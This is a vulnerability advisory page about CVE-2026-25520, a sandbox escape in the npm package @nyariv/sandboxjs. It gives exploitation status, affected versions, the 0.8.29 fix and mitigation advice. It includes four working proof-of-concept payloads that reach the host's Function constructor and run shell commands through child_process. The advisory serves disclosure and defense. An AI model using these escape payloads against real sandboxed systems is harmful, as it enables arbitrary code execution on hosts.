CVE-2026-25520 is a critical-severity (CVSS 10) CWE-74 vulnerability in @nyariv/sandboxjs. A fix is available for @nyariv/sandboxjs — see the affected versions and patch details below.
SandboxJS has a Sandbox Escape
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-25520.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@nyariv/sandboxjsnpmDescription
Summary
The return values of functions aren't wrapped. Object.values/Object.entries can be used to get an Array containing the host's Function constructor, by using Array.prototype.at you can obtain the hosts Function constructor, which can be used to execute arbitrary code outside of the sandbox.
Details
The return values of functions aren't wrapped, chaining function calls allows bypassing most validation/sanitization.
PoC
const s = require('@nyariv/sandboxjs').default;
const sb = new s();
payload = `
console.log(
Object.values(this).at(0)(
"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
)(),
);
`
sb.compile(payload)().run();
const s = require("@nyariv/sandboxjs").default;
const sb = new s();
payload = `
console.log(
Object.entries(this)[0].at(1)(
"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
)(),
);
`
sb.compile(payload)().run();
const s = require("@nyariv/sandboxjs").default;
const sb = new s();
payload = `
console.log(
Object.entries(this)
.at(0)
.map((f) => {
if (typeof f === 'function') {
f.call('', 'return process')()
.getBuiltinModule('child_process')
.execSync('ls -lah', { stdio: 'inherit' });
}
}),
);
`
sb.compile(payload)().run();
const s = require("@nyariv/sandboxjs").default;
const sb = new s();
payload = `
const t = (f) => {
f.call('', 'return process')()
.getBuiltinModule('child_process')
.execSync('ls -lah', { stdio: 'inherit' });
};
console.log(t.call(...Object.entries(this)[0]));
`
sb.compile(payload)().run();
Impact
Sanbox Escape -> RCE
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @nyariv/sandboxjs | all versions | 0.8.29npm install @nyariv/sandboxjs@0.8.29 |
Affected Products
sandboxjsnyarivDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @nyariv/sandboxjs, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update @nyariv/sandboxjs to 0.8.29 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-25520 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Frequently Asked Questions
Is CVE-2026-25520 in your dependencies?
Find it across npm, including transitive dependencies.